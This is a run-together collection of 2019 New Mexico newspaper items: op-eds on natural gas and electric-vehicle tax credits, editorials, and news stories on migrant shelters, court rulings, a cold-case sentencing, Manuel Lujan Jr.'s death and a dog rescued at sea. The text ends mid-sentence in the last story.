Lawmakers listened this session, but it remains to be seen whether they will listen to our priorities in the future. If non-spending legislation supported by the governor and several members of the Legislature is enacted, we cannot expect such generosity in the future. Thats because the movement in the statehouse to pass radical energy legislation to delay or end natural gas production is growing even though that production provides the single largest source of revenue for our public schools, higher education institutions and health care, accounting for one-third of total funding. Some state lawmakers say we can replace the budgetary benefits of natural gas by raising taxes, but thats impossible. Production is responsible for our $2 billion state budget surplus. Raising that type of money would require massive, across-the-board tax increases on every man, woman, family and business in the state. Its not just our budget that would be hit by this legislation. Natural gas is important to the state for many reasons. In New Mexico, our energy resources sustain more than 100,000 jobs in the state and drive an annual economic impact of $12.8 billion. These jobs support high salaries that will raise incomes in our state. According to the U.S. Department of Energy, oil and natural gas extraction jobs are both blue collar and white collar. A petroleum engineer, for example, can make up to $135,000 annually. A rotary drill operator can make about $54,000. Families and businesses also saved approximately $3.4 billion over the decade between 2006 and 2016 due to lower energy prices driven by natural gas production. These savings are particularly beneficial to families below the poverty line who are struggling with increases in other prices, like groceries. There also are the environmental benefits of natural gas. With increased natural gas production, for example, methane emissions in New Mexico are falling, despite what you may have heard. According to data from the U.S. Environmental Protection Agency, between 2016 and 2017, the natural gas industry reduced its methane emissions by almost 728,000 metric tons in the San Juan Basin and 100,000 metric tons in the Permian Basin even though natural gas production rose by 145 million MCF. Natural gas also produces only half of the carbon emissions that coal does. Emissions declines nationally are as impressive. While U.S. natural gas production has increased 50 percent since 2005, total U.S. greenhouse gas emissions are down 12 percent. The anti-natural gas contingent in the statehouse want to replace natural gas with wind and solar power, which are less reliable and actually require significant taxpayer investment to be viable at all. Rather than picking one energy source over another, we should rely on all energy sources. Diversification can ensure the best outcomes for our air and water at the lowest costs. Many of the most problematic pieces of energy-related legislation didnt move during this session of the Legislature. Lets hope they dont return next year. WASHINGTON Some government foolishness has an educational value that compensates for its considerable cost. Consider the multibillion-dollar federal electric-vehicle tax credit, which efficiently illustrates how government can, with one act, diminish its already negligible prestige while subtracting from Americas fairness. Sen. John Barrasso, R-Wyo., and Rep. Jason Smith, R-Mo., hope to repeal the tax credit, which probably will survive because it does something that government enjoys doing: It transfers wealth upward by subsidizing affluent individuals and large economic entities. In 1992, Congress, with its itch to supplant the market in telling people what to build and buy, established a subsidy for buyers of electric vehicles, which then were a negligible fraction of the vehicle market. In 2009, however, as the nation reeled from the Great Recession, the Obama administration acted on an axiom of the presidents chief of staff, Rahm Emanuel: You never want a serious crisis to go to waste. Using the crisis as an excuse to do what they wanted to do anyway, those who think government planning of the U.S economy is a neat idea joined with environmentalists to persuade Congress persuading it to dispense money is not difficult to create a tax credit of up to $7,500 for consumers who buy battery-powered electric vehicles. The tax credit was part of the administrations stimulus package, which is most remembered for its promise of shovel-ready jobs. The president, too busy expanding the government to understand the consequences of prior expansions, discovered that such jobs are almost nonexistent, thanks to red tape that must be untangled before shovels can be wielded. The tax credit quickly became another example of the governments solicitousness for those who are comfortable, and who are skillful in defense of their comforts. Today, demand for electric cars is still insufficient to produce manufacturing economies of scale after a decade of production, moral exhortations and subsidies, electric cars are a fraction of 1% of all vehicle sales and batteries are expensive. So, The Wall Street Journal reports, the $42,000 average price for an electric car is $8,000 more than the average price of a new car and $22,000 more than the average price of a new small gasoline-powered car. The Pacific Research Institute has examined 2014 IRS data showing that 79% of the electric-vehicle tax credits were collected by households with adjusted gross incomes of more than $100,000, and 1% by households earning less than $50,000. A 2017 survey found that households earning $200,000 received the most from the tax credit. Some states have augmented the federal credit: In California, where about half of electric vehicles are sold, consumers can gain up to $15,000; in insolvent Connecticut blue states are incorrigible $10,500. The credit is, however, capped: Manufacturers can sell only 200,000 vehicles eligible for the full credit. Now, almost all manufacturers including high-end companies Bentley, Aston Martin and Maserati are entering the electric-vehicle sector and the cap is impinging on some of them General Motors, Nissan. So, at long last, such vehicles can be allowed to sink or swim on their own, right? Of course not. The Barrasso-Smith legislation is fiercely opposed by the manufacturers, who of course want to expand and entrench it by removing the cap, partly because they know what the Journal knows: When Georgia ended its $5,000 state tax credit in 2015, sales of electric vehicles fell 89% in two months. Electric cars have cachet with advanced thinkers who want to be, or to be seen to be, environmentally nice. They do not think of such vehicles as 27.4% coal cars, that being the percentage of U.S. electricity generated by coal-fired power plants. According to a Manhattan Institute study: (B)ecause of stringent emissions standards and low-sulfur gasoline, new ICVs internal combustion vehicles today emit very little pollution, and they will emit even less in the future. Compared with new ICVs, ZEVs zero-emissions vehicles charged with the forecast mix of electric generation will emit more criteria air pollutants. And the reduction of carbon dioxide less than 1% of total forecast(ed) energy-related U.S. CO2 emissions through 2050 will have no measurable impact on climate. The environmental excuse for the regressive tax credit being nonexistent, those Democratic senators whose presidential campaigns are fueled by fury about government being rigged for the benefit of the rich who are not paying their fair share will join their Wyoming colleagues attempt to end the electric-vehicle tax credit, if they mean what they say. If. E-mail georgewill@washpost.com. 2019, Washington Post Writers Group. Lets take stock of the Facebook situation. The social media giant is understandably unhappy with its unexpected $39 million utility bill courtesy of a New Mexico Public Regulation Commission ruling last week. Now it appears that, before this entire imbroglio arose, Facebook took steps to deepen its New Mexico ties. Last month, before the PRC decided to stick the company with half the cost of a new Public Service Company of New Mexico transmission line, Facebook quietly acquired 456 acres of Los Lunas pastureland next to the 300 acres it has begun building its six-building, $1 billion data center on. While the company hasnt announced plans for its new property, the purchase is a reminder Facebook has given good faith indications its here for the long haul. Gov. Michelle Lujan Grisham was right to reach out to and encourage company officials to hang in there while a $39 million solution is found. Lets hope her assurances are enough to keep the economic powerhouse from changing its mind. This editorial first appeared in the Albuquerque Journal. It was written by members of the editorial board and is unsigned as it represents the opinion of the newspaper rather than the writers. Consider it another victory in the war against high-quality charter schools in New Mexico. But its a loss for our students. The state Public Education Department has stripped small-school funding from Mission Achievement and Success second campus. MAS, a state-authorized public charter school in Albuquerque that has received an A grade from the state every year since 2015, launched a second location in August. The original location on Yale SE has a wait list of more than 1,000 K-12 students. The new school, which has 100 students this year, was slated to get $613,000 in the 2019-20 school year via the states small-school size adjustment. PED Chief of Staff Daniel Manzano implemented some creative new math in justifying the funding cut, saying MAS is well over the small-school funding enrollment threshold when students at both sites are counted. PEDs decision comes on the heels of state lawmakers phasing out the ability of urban charters to use the small-school funding mechanism. And that, like the yearslong battle against a second site for the nationally recognized Albuquerque Institute of Math and Science, adds up to cutting off supply to the thousands of parents who want quality school choice. Gov. Michelle Lujan Grisham has vowed to close or even erase the achievement gap so prevalent in our states education system. In presentations she made this week to business groups, she pledged more community schools those that provide services beyond education needed by so many of our students. An excellent plan. But MAS does that providing free dental and immunization clinics, college tours and day-to-day materials including uniforms and school supplies, resources now in jeopardy with the funding cut. And it has already shown success at addressing the achievement gap. It has a diverse student population that has seen continued growth. Why wouldnt we want to do everything we can to replicate that success? MAS founder and principal JoAnn Mitchell says while the small-school funding cut will have a significant impact on the school, there are no plans to close or scale back the expansion. That aligns with the MAS mission statement the school homepage states Zero Excuses Only Results! State lawmakers and the PED are making delivering on that mission statement harder. And thats unfortunate, because all of the states K-12 students deserve no less. This editorial first appeared in the Albuquerque Journal. It was written by members of the editorial board and is unsigned as it represents the opinion of the newspaper rather than the writers. Copyright 2019 Albuquerque Journal For six months, Netflixs Chambers filmed around Albuquerque. Crews worked diligently at getting shots set up at area high schools, locales in the foothills and Downtown, as well as being housed at I-25 Studios. The Duke City became a home away from home for the cast. Today, the 10-episode series is available for streaming on Netflix, and viewers will notice plenty of Albuquerque locations. Chambers tells the story of a young heart attack survivor, Sasha Yazzie, played by Sivan Alyra Rose, who becomes consumed by the mystery surrounding the heart that saved her life. However, the closer she gets to uncovering the truth about her donors sudden death, the more she starts taking on the characteristics of the deceased some of which are troublingly sinister. Uma Thurman plays Nancy, the mother of a heart donor, Becky, who forges a hesitant relationship with the young recipient only to find out that her daughter may not be as dead as she thought. Starring alongside Thurman is Tony Goldwyn, who plays Ben Lefevre Beckys father. He is the philanthropic owner of Annex Power. The supernatural series is also gaining attention for the majority of the cast being Native American or Latino. Marcus LaVoi and Jonny Rios play Big Frank Yazzie and Ravi, respectively. LaVoi was raised on the White Earth Indian Reservation in Minnesota, went on to serve in the military and entered law enforcement for the California Department of Corrections, where he served for more than 14 years. He jumped at the chance to work on this project. The showrunners did a great job at making the cast diverse, LaVoi said. With this project, they are changing the paradigm. Having a lot of Native American actors means that people like me can see themselves represented in film. Its a big deal. According to the New Mexico Film Office, the production employed about 180 New Mexico crew members, 75 New Mexico actors and approximately 400 New Mexico background talent. The series has four directors: Alfonso Gomez-Rejon, Dana Gonzales, Geeta Patel and Gallup native Sydney Freeland. While LaVoi is a veteran in the industry, Rios is starring in his first series. He took the time to learn from LaVoi, Goldwyn and Thurman while on set. When I first read the script, it just spoke to me, Rios said. I think Leah Rachel and the other writers were able to create real circumstances that we could relate to. The characters are fully realized and it really took me on a journey. Landing this role made all of my nights riding on the train and missing meals totally worth it. Rios said that being able to be part of such a diverse cast was incredible, since he learned from each person. This is my first big role, he said. The entire cast reunited for the premiere last week, and we realized that we created something special. Albuquerque was a big part of making it happen. The state Court of Appeals issued an opinion last week that open government advocates say highlights the importance of the attorney fee provisions in the Inspection of Public Records Act. The decision comes in a case first filed in 2007 by the San Juan Agricultural Water Users Association against the Office of the State Engineer, the University of New Mexico, KNME-TV, Albuquerque Public Schools and others. The association sought documents related to a documentary broadcast on KNME about a controversial water settlement and proposed pipeline in northwestern New Mexico. According to the New Mexico Foundation for Open Government, the Court of Appeals opinion reversed a district courts finding that because governmental entities acted in good faith in denying a records request, the requestor was not entitled to the attorney fees it incurred in litigating the issue. The Court of Appeals made clear that attorneys fees are an essential factor in IPRA litigation, former FOG president Greg Williams said. Without freely awarding fees to records requestors who have to go to court, there is a chilling effect on access to public records. The opinion says that the ability to collect attorney fees ensures that the enforcement of IPRA is virtually costless to a successful litigant. Under the original ruling, plaintiffs were only eligible for attorneys fees incurred over a narrow portion of the litigation process. This opinion affirms that if a government forces a citizen to litigate for years, then the citizen will get his attorneys fees if hes successful, Victor Marshall, who is representing the water users association, said Monday. The case has been remanded to state District Court, which is tasked with determining the amount of costs and reasonable attorney fees the plaintiff is entitled to. Other portions of the District Courts decision were affirmed. Copyright 2019 Albuquerque Journal Terri Benally was found bloodied and beaten in a Southeast Albuquerque street on the Fourth of July in 2009. Two days later, two miles away, Ronald Begay was beaten into a coma and left near a Dumpster at Zuni and Madeira. The same man Roger Preston, now 42 was behind both of the attacks. Although he was charged almost immediately in Begays case, Benallys homicide was unsolved for nearly a decade. Cold case detective Rich Lewis of the Albuquerque Police Department cracked the case last year, thanks in part to testing that revealed DNA from both victims on the business end of a bat found in Prestons vehicle, prosecutor John Duran said Wednesday. Prestons DNA was found on the bats handle. He was sentenced Wednesday to 16 years in prison in Benallys death after pleading guilty in December. In a statement to the court, he offered condolences to her family and said it was very unfortunate that a life was taken. I take full responsibility for my actions, he said. I honestly wish I could say I know what happened on that day. With drugs and alcohol clouding my mind, I would have to say I was in the wrong place at the wrong time. Judge Stan Whitaker ruled that Preston can serve his sentences for second-degree murder and tampering with evidence simultaneously. Because his crime is considered a serious violent offense, his sentence can be reduced by only 15% for good behavior. Whitaker said that he hoped that Preston was sincere but that he appeared to be attempting to downplay his role and blaming substance abuse for the heinous crime he committed. Preston was indicted in Benallys death as he neared the end of his sentence on an attempted murder charge related to the attack on Begay, who would later die of his injuries. He is one of the most violent individuals Ive ever seen in the course of my career, said Duran, who was also the prosecutor in the Begay case. He added that he believed Preston was specifically targeting Native Americans something Preston denies and asked the court to impose the maximum sentence of 19 years. According to a spokesman for the District Attorneys Office, Lewis cold case investigation revealed that Preston would regularly beat individuals with a bat and steal their belongings. Preston is suspected of beating another person on July 4, 2009, and the victim in that case provided information to Lewis that helped him connect Preston to Benallys death. Prestons lawyer, Jim Baiamonte, criticized APDs initial investigation, and said his client might be in a better position now had the crime been solved early on. Unfortunately for Mr. Preston, on July 4th, the detective that was investigating that case probably missed a few clues. She missed the fact that a similar crime occurred (nearby) very similar method of operation, very similar manner of death, very similar victimology. A spokesman for the Albuquerque Police Department said he was not familiar with the circumstances of the original investigation but is pleased that Lewis was able to make the arrest that resulted in a guilty plea and sentence. He did not say whether APD believes there are additional victims. Baiamonte asked that Preston be sentenced to 10 years in prison. He said that his client has been a model prisoner and that hed finally grown up and led a crime-free life in a hostile, challenging environment. He seems to have actually gotten a grip on himself, he said. The judge said he hoped that by the time Preston is released from prison, he will be truly rehabilitated. Once youre out, Whitaker said, I hope that your decisions and your choices will be different from what got you here today. LAS CRUCES Gov. Michelle Lujan Grisham on Thursday visited emergency shelters set up to receive migrants dropped off by Border Patrol on a daily basis. The governor stopped at the Crisis Triage Center and San Jose Catholic Church and met with city officials who are managing the humanitarian response with the help of volunteers. What I saw today was an open, kind, productive service-oriented atmosphere, Lujan Grisham said. During her tour, the governor said she was approached by both migrant parents and children who gave me their heartfelt gratitude. The governor came to get a firsthand look at the response and access needs as southern New Mexico copes with an influx of migrant families. Among the needs is funding to pay for transportation services to take migrants to bus stations and airports, food, blankets, clothes and laundry services. The governor a former member of the U.S. House of Representatives said shes asking for help from the federal government since the president and Congress have failed to deal with the humanitarian crisis. They now need to support communities like Las Cruces and counties like Dona Ana and a state like ours that are taking up the slack because theyre refusing to do the work that they need to do. Its totally a federal responsibility, Lujan Grisham said. Her visit came as the Las Cruces City Council, in an emergency meeting, approved an additional $500,000 to help pay for migrant services. In the past two weeks, Las Cruces has received more than 2,100 migrant parents with children. Most are Central Americans seeking asylum. Las Cruces expects the numbers to taper off somewhat because Annunciation House in El Paso just opened a 500-bed shelter in a warehouse converted to serve as temporary shelter for migrant families until they can make travel arrangements to meet relatives or sponsors in other cities. During a news conference, the governor answered a question about whether she would deploy the New Mexico National Guard to staff Border Patrol highway checkpoints that are closed right now. They cannot. Thats an immigration service, Lujan Grisham said. Border Patrol shut down five highway checkpoints in New Mexico on March 22 so agents could deal with an influx of migrant parents and children. The governor said the Department of Homeland Security has the bipartisan support and funding to hire more Border Patrol agents and respond to other needs in order to handle the surge of migrant families seeking asylum. They are getting incredible amounts of money to recruit, hire and train agents, to hire more immigration judges, to have the facilities and support they need to deal with this, she said. The governor said there is also bipartisan support to invest in the Northern Triangle countries Guatemala, Honduras and El Salvador that are the source of migration and to hold coyotes and others accountable for encouraging people when they may not meet our asylum criteria. She is critical of President Trump instead using an national emergency declaration to build a wall using military funds that they stole from our bases. The Trump administrations emergency declaration calls for $1 billion to be diverted from military projects to build 57 miles of bollard barriers, with 46 of those miles in New Mexicos Dona Ana and Luna counties. Construction is expected to begin next month. Vitisak Payalaw and his crew were working on an oil rig 135 miles off the southern Thailand on April 12 when they saw something bobbing in the gentle waves. It was a dog. The animal was fighting his way through the moving water, heading for the oil rig. As he approached the structure, Payalaw, an offshore planner for Chevron Thailand Exploration and Production, held out a pole after the animal had splashed his way to the platform below the rigs deck. As a video Payalaw posted to his Facebook account shows, the pup was soaked, shivering and too exhausted to whimper or bark. His eyes were so sad. He just kept looking up just like he wanted to say, Please help me, Payalaw told CNN. At that moment, whoever saw this, they would just have to help. The crew, however, knew it had to act fast. The waves were getting bigger, meaning the dog could be swept away soon. I thought that if we didnt move quickly, I would not be able to help him, Payalaw said. If he lost his grip, it would be very difficult to help him. Four members of the crew, including Payalaw, spent 15 minutes devising a way to pull the animal up to the rig, eventually slinging a looped rope around the dogs neck and hoisting it to the deck. Pictures from the offshore planners Facebook account show the animal looking sapped after being taken aboard the rig. According to NPR, the rig workers gave the dog water and pieces of meat. Then, they settled on a name: Boonrod, meaning He has done good karma, and that helps him to survive. He looked extremely exhausted and ran out of energy. He didnt move much, Payalaw told CNN. He was shaking and he couldnt stand; he had to sit all the time. How a dog ended up paddling for his life in the middle of the Gulf of Thailand remains a mystery. According to the Bangkok Post, Boonrod may have jumped or fallen off another vessel. Three days later, Boonrod was transported back to the mainland, going ashore at Songkhla, Thailand, where he was examined by a veterinarian, according to the Times of London. According to Facebook pictures posted by animal rights group Watchdog Thailand, when Boonrod stepped onto dry land, workers draped a garland of marigolds around his neck, a symbol of welcome and good fortune, the Times reported. The dog flashed a good-boy smile. The dog is in good shape, The Associated Press reported. Boonrods happy ending story quickly went viral online. Three cheers to #Boonrod, one user on Twitter said. Simply amazing we need a story like THIS on a day like today, another posted. Payalaw told NPR he plans to adopt Boonrod if the dog is not claimed by an owner. Copyright 2019 Albuquerque Journal SANTA FE Santa Fe wont provide shelter for asylum-seekers who have crossed the border in southern New Mexico, after Mayor Alan Webber had said last week the city was preparing to do so. Instead of processing and temporarily housing asylum-seekers arriving in New Mexico, Webber now says Santa Fe will focus efforts on fundraising and organizing volunteers to help migrants. Webber provided an update at Wednesday nights City Council meeting. He said that in conversations with leaders of local organizations and government officials, it was decided that Santa Fe would not best serve as a shelter location for some of the numerous migrants crossing the border and being dropped off in Las Cruces. Because most asylum-seekers are looking to leave the state to get to sponsors in other parts of the country, Albuquerque was considered to be a better central location because of its larger size and more transportation options, Webber said. Taking migrants to Santa Fe and then transporting them back to Albuquerque for bus or plane service would not be an efficient use of resources, the mayor said. In some ways, you have to let your head overrule your heart on this one, because theres a huge sentiment that we want to be helpful and supportive in a visible way, Webber told the Journal on Thursday. He said the city will organize ways to provide money, clothes, blankets, sheets, nonperishable food, personal care items, and other goods, along with recruiting volunteers to help in Albuquerque and Las Cruces. Itll be more efficient and more humane, Webber said. During the council meeting, he said Albuquerque is looking to expand its intake of migrants and is considering using Expo New Mexico facilities as a processing and shelter hub. Santa Fe has few large indoor spaces that could accommodate large numbers of people. But there are dormitories at the now-vacant, city-owned college campus that was formerly the Santa Fe University of Art and Design. Webber said Santa Fe city government will now likely act as a convener to bring together local organizations, including nonprofits, to determine what they can contribute and to inform them about what the other cities need. He said he has been in regular contact with Mayor Tim Keller of Albuquerque and Mayor Ken Miyagishima of Las Cruces, who reached out to Webber for help last week. In response to Journal questions, Webber said that no concerns were raised about whether a plan to shelter migrants in Santa Fe could affect the local tourism and hospitality industry, and that no such issue played a role in the decision not to provide shelter. The city is working with the Santa Fe Community Foundation to set up an assistance fund for those wishing to donate, Webber told the council. An Albuquerque city councilor has proposed that city government spend up to $250,000 to help the effort, which until now has been organized by faith groups and other organizations. Jobs for volunteers, who Webber said would have to go through orientation and training, will vary depending on need and skills. He said Las Cruces is using volunteers to handle hospitality and orientation, intake, medical support, transportation, organizing donations, and more. During the council meeting, Webber also noted that Keller told him Albuquerque is looking for Portuguese-speaking volunteers to communicate with immigrants who speak that language. Well keep putting out word as the process and opportunity for people to volunteer gets a little more clear, Webber said. New Mexicos new fine-tuning election law, House Bill 407, passed by the Legislature in March and signed into law by the governor April 1, may face a court challenge. The law aimed to align elections of county, district and state officials into an orderly list in sync with gubernatorial and presidential elections, but to achieve that goal, necessitated that some elected officials would serve six-year terms instead of the four-years to which they were elected. Eddy County and Lincoln County were two of the states 33 counties most directly affected. In Lincoln County election dates were scrambled in the early 1990s when the county commission grew from three to five members. Under the new law, the county clerk, treasurer and sheriff, among others, would serve six-year terms instead of four years, to come in line with the rest of the state in a 2024 election. District attorneys across the state would be impacted. But 12th Judicial District Attorney John P. Sugg contends the law is unconstitutional. His district covers the counties of Lincoln and Otero. The Legislature cannot extend the terms of the district attorneys beyond what is provided for by the New Mexico constitution, he said Wednesday. I have been discussing the issue with the Secretary of States office and am contemplating taking legal action seeking to have the new law struck down as unconstitutional Under the change, Sugg would see a two-year extension of his term, but Sugg said that was unacceptable. I took an oath to uphold the constitution and I believe the Legislature acted unconstitutionally when it enacted House Bill 407, Sugg said. The voters elected me to a four-year term, and my term should end after Ive served those four years, he said. It should be up to the voters if my service continues beyond Dec. 31, 2020, not the Legislature or the governor. Contacted Thursday, David Carl, director of communications in the office of Attorney General Hector Balderas said, We are aware of this matter and in contact with the Secretary of State on options to resolve any potential issues with the law. Alex Curtas, communications director for New Mexico Secretary of State Maggie Toulouse Oliver said, We appreciate District Attorney Sugg and other District Attorneys bringing this issue to our attention. Our goal is to work collaboratively with all the parties involved to resolve any concerns that may result from this change in the law.? A presumption of constitutionality exists for laws passed by the Legislature until and unless that law is challenged in court, he noted. Lincoln County Clerk Whitney Whittaker said she is waiting to hear an opinion from County Attorney Alan Morel before declaring any changes in terms and impacts on the 2020 and 2022 elections. 2019 the Ruidoso News (Ruidoso, N.M.) Visit the Ruidoso News (Ruidoso, N.M.) at www.ruidosonews.com Distributed by Tribune Content Agency, LLC. AUSTIN, Texas A federal judge has blocked enforcement of a Texas law that requires contractors to certify that they dont boycott Israel. In a 56-page opinion filed Thursday, U.S. District Judge Robert Pitman of Austin said boycotts are protected free speech, declaring the law fails to serve a compelling state interest. The American Civil Liberties Union of Texas filed the federal suit in December against Texas Attorney General Ken Paxton and others. It argued the law forces people to choose between their First Amendment rights and their livelihoods. Texas is among 25 states that has enacted similar bans on participation in the boycott, divest and sanction Israel movement against Israels treatment of Palestinians. He said the statute threatens to suppress unpopular ideas and manipulate the public debate through coercion rather than persuasion. The lawsuit was a consolidation of two court actions. One was brought last December by the Council on American-Islamic Relations on behalf of Bahia Amawi, a Palestinian Muslim speech pathologist and U.S. citizen who lost her job with a suburban Austin school district because she refused to sign a No Boycott of Israel clause mandated by the state. Another was brought by the ACLU of Texas on behalf of four persons against two local school districts and two state university boards of regents. The lawsuit claims the four plaintiffs bringing the suit have either lost contracting opportunities because they declined to sign the certification, or they signed at the expense of their First Amendment rights. One plaintiff lost two service contracts from a university, and another was forced to forfeit payment for judging a debate tournament tied to a school district, according to the suit. In a statement, the Council on American-Islamic Relations hailed the court ruling. Arabic-speaking schoolchildren in Texas have been deprived of critical services from Bahia Amawi for almost this entire school year because of this unconstitutional law. Today, we welcome a victory for the First Amendment, said Lena Masri, CAIR national litigation director in a statement. Tommy Buser-Clancy, staff attorney for the ACLU of Texas who argued the case, called the ruling a victory for the free speech of all Texans. The right to boycott is deeply ingrained in American tradition, from our nations founding to today. Emails to the Texas Attorney Generals Office drew no immediate response Thursday. When Texas Gov. Greg Abbott signed the piece of legislation that imposed the ban in 2017, he called the anti-Israel policies are anti-Texas policies, and we will not tolerate such actions against an important ally. The Texas Comptrollers Office threatened to include the home-sharing company Airbnb on a list of companies banned from doing business with the state. The threat was lifted when Airbnb convinced the state it was not boycotting Israel. After Tropical Storm Harvey devastated Dickinson, a city near Galveston, the city government required persons and businesses seeking aid from the city to rebuild in 2017 to pledge not to boycott Israel during the term of the agreement. The city lifted the requirement days later under pressure from civil rights groups. Colorado-based Apogee Engineering LLC won a five-year, $26.5 million contract to provide a range of support services to the Air Force Research Laboratorys space and directed energy systems development in Albuquerque. The company plans to immediately hire 18 new employees from the local workforce. Nearly all contract tasks will be performed at Kirtland Air Force Base, at least to start, said vice president of program operations Frank Varga. Well leverage some of our existing workforce, but were actively recruiting locally to fill 18 positions now, Varga said. About 90 percent of the contract work will be in the Albuquerque area Were looking for managers, analysts, engineers and scientists. The company, which launched in 2004, provides support services for defense and civilian federal agencies nationwide, with 25 locations across the U.S. This is its first contract in Albuquerque, although it currently has a team at Holloman Air Force Base to support GPS testing. We havent been at Kirtland before, its a new market for us, Varga said. But weve always had our sights on New Mexico, especially Albuquerque. Its a target for us, and this contract provides a big stepping stone. The company expects to grow and expand its local workforce over time, potentially establishing an independent, local facility off base. Initially, 100 percent of operations will be at Kirtland, but as requirements grow and space becomes constrained, well look to set up a local facility as weve done in other markets, Varga said. The goal is to have a permanent location here. Under the contract, Apogee will provide support services for AFRLs Space Vehicles Directorate, which is developing new technologies as part of a broad military effort to modernize the countrys space defense systems. Much of that work is based at Kirtland, which also houses the Air Force Space Rapid Capabilities Office and the Space and Missiles Centers Advanced Systems and Development Directorate. Apogee will also assist on emerging microwave and laser weapon systems, known as directed energy, through the AFRLs Directed Energy Directorate. Multi-million dollar contracts are flowing to local and national companies with operations here to support that work. Since February, two homegrown engineering firms, Tau Technologies and LoadPath LLC won AFRL contracts, including $8.9 million for Tau and $14.9 million for LoadPath. And in January, Northrop Grumman said it will open a new Albuquerque facility, potentially doubling its local workforce to 300 over the next three years. Sen. Martin Heinrich, D-NM, told the Journal in March that a lot more is coming. Theres a laundry list of employers setting up shop in Albuquerque, from small, homegrown companies to big guys like Boeing, Raytheon and General Atomics, Heinrich told the Journal. They all want to be here. They see New Mexico as the place to be now. Copyright 2019 Albuquerque Journal Manuel Lujan Jr., a New Mexico native son who rose to lofty political heights as a longtime Republican congressman and U.S. Interior secretary, died late Thursday at age 90. Lujan Jr., who came from a prominent Santa Fe political family, held New Mexicos 1st Congressional District seat for 20 years from 1969 through 1988. He was the first Hispanic Republican to join the Congressional Hispanic Congress and focused largely on constituent needs during his time in Washington D.C. Former Gov. Garrey Carruthers, who was state GOP chairman while Lujan Jr. was still in office, described the former congressman on Friday as a titan of New Mexico politics. Specifically, he said Lujan Jr. had a knack for giving short speeches, in both Spanish and English, and recalled his nightly ritual of personally calling back New Mexico residents who had left messages with his congressional office. If you want to be in this business, you have to be like Manuel Lujan Jr., Carruthers told the Journal. He just seemed to be a level above the rest of us. Lujan Jr. was appointed interior secretary by then-President George H.W. Bush in 1989 becoming just the second New Mexican to hold the post and remained in the position for nearly four years, a time span that included the 1989 Exxon Valdez oil spill off the coast of Alaska. He faced scrutiny in the high-profile Cabinet position, including criticism from some groups for challenging the Endangered Species Act, and said after leaving the office in 1993 that no one is satisfied. If you do something thats pro-development, you get the environmental groups against you, and if you do something thats pro-environmental, you get the industry groups after you, Lujan Jr. told the Associated Press at the time. What I tried to do and I think I was successful in doing was to bring a balance between the use of resources on public lands and environmental concerns. His brother, Edward Lujan, said Friday that Manuel Lujan Jr. had not been in good health in recent months and had broken his hip in a fall several months ago. But he said Manuel Lujan Jr. had remained active and engaged in politics for years after leaving office. He had a very pleasant personality everyone who met him liked him, said Edward Lujan, who recalled discussing global issues with his brother over coffee nearly every morning in recent years. Gov. Michelle Lujan Grisham, a first-term Democrat who is a distant cousin of Lujan Jr., described the ex-congressman as the picture of a statesman. In a lifetime of public service, over the course of ten congressional terms and four years as secretary of the interior, he fought for his constituents, striving for balance between competing interests, never forgetting that New Mexicans collective best interest comes first, Lujan Grisham said. Over the years, it was frequently assumed Manuel was my uncle, she added. He wasnt, but he always treated me like his favorite niece. He was a gentleman; he was generous; he was a thoughtful public servant. I will miss him, and I know New Mexico will long cherish his memory. Lujan Grisham also ordered all state flags to be flow at half-staff in honor of Lujan Jr. New Mexico Republican Party Chairman Steve Pearce described Lujan Jr. as a trailblazing Republican and one of the finest statesmen to ever represent New Mexico in Congress. As interior secretary, Lujan Jr.s expert knowledge of western land management and energy issues along with his integrity and competence made him one of the finest people to ever hold this office, Pearce said. A memorial service for Lujan Jr. will be held Thursday at Our Lady of Fatima Catholic Church in Albuquerque at 5 p.m., with a rosary service to follow, his daughter said. A funeral Mass will be held Friday at 11 a.m. at the same location, with burial at Gate of Heaven Catholic Cemetery to follow. Tributes to a statesman The death of Manuel Lujan prompted an outpouring of kind words from prominent New Mexico leaders.During his decades of service in the House of Representatives and at the Department of the Interior, Manuel Lujan never stopped fighting for the people he represented. New Mexico has lost one of our greatest statesmen and strongest champions. U.S. Sen. Martin Heinrich, D-N.M. The death of Manuel Lujan prompted an outpouring of kind words from prominent New Mexico leaders.During his decades of service in the House of Representatives and at the Department of the Interior, Manuel Lujan never stopped fighting for the people he represented. New Mexico has lost one of our greatest statesmen and strongest champions. Manuel Lujan Jr. was a gentleman and a servant leader. He was always helpful, approachable and willing to give quiet advice.Even more than ten years after having been a Congressman, people would still ask him for help with their veterans benefits or their social security. Manuel would take their information and come to the Congressional office and try to help them. He will be missed. Heather Wilson, secretary of the Air Force and former congresswoman representing N.M. Manuel Lujan Jr. served New Mexico honorably as a congressman and U.S. Interior secretary. He was an advocate for the people of New Mexico and set the bar for constituent outreach. As one of the most prominent Hispanics to serve at the federal level, he opened the door for many others to step forward and make a difference. I am praying for his family and loved ones. U.S. Rep. Ben Ray Lujan, D-N.M. Manuel Lujan was a devoted and pragmatic public servant who always put the interests of New Mexicans first. Over the course of his long career Manuel served his state and his nation with great pride and dedication. My thoughts are with his family at this difficult time. Maggie Toulouse Oliver, N.M. secretary of state Manuel Lujan Jr. was a true public servant and a trailblazing leader for Hispanics. He was steadfast and unwavering in his service to the people of New Mexico and our way of life. Jill and I are thinking of his family and loved ones at this sad time. U.S. Sen. Tom Udall, D-N.M. Secretary Lujan served the people of this state and this nation with honor, distinction and compassion for more than two decades. My prayers are with the Lujan family tonight, as they remember a true public servant. Hector Balderas, New Mexico attorney general HOUSTON Prosecutors on Friday said they plan to dismiss 27 pending court cases linked to two former Houston police officers who are being investigated following a deadly drug raid in January. The Harris County District Attorneys Office said the cases are being dismissed due to concerns about the credibility of former officers Gerald Goines and Steven Bryant. Truthfulness is essential in a case that must be proved beyond a reasonable doubt. We cant vouch for these officers credibility, Harris County District Attorney Kim Ogg said in a statement. Goines and three other officers were shot in a gunfight that killed 59-year-old Dennis Tuttle and 58-year-old Rhogena Nicholas, who both lived in the home where the raid occurred on Jan. 28. A fifth officer injured his knee during the shooting. Bryant and Goines were relieved of duty after the deadly raid in a working-class Houston neighborhood. Authorities allege Goines lied in a search warrant affidavit when he said that a confidential informant had bought heroin at the home. But the informant told investigators no such drug buy ever took place. Goines had indicated in the search warrant that Bryant had identified heroin bought at the home. But Bryant later told investigators he had retrieved heroin from Goines police car. Goines and Bryant later retired. Family and friends of Tuttle and Nicholas have said the two, who were married for 20 years, were not criminals. They have angrily dismissed the allegations that the couple was selling heroin and had fired on officers while defending an illicit business. The district attorneys office said it planned to file the motions to dismiss the cases connected to Goines and Bryant on Friday. The two officers were material witnesses in the cases who could be required to testify, prosecutors said. The cases involved a total of 25 defendants. All of the cases except one were for possessing or selling drugs. The other case was for possessing a firearm as a felon. The oldest of these cases dates back to 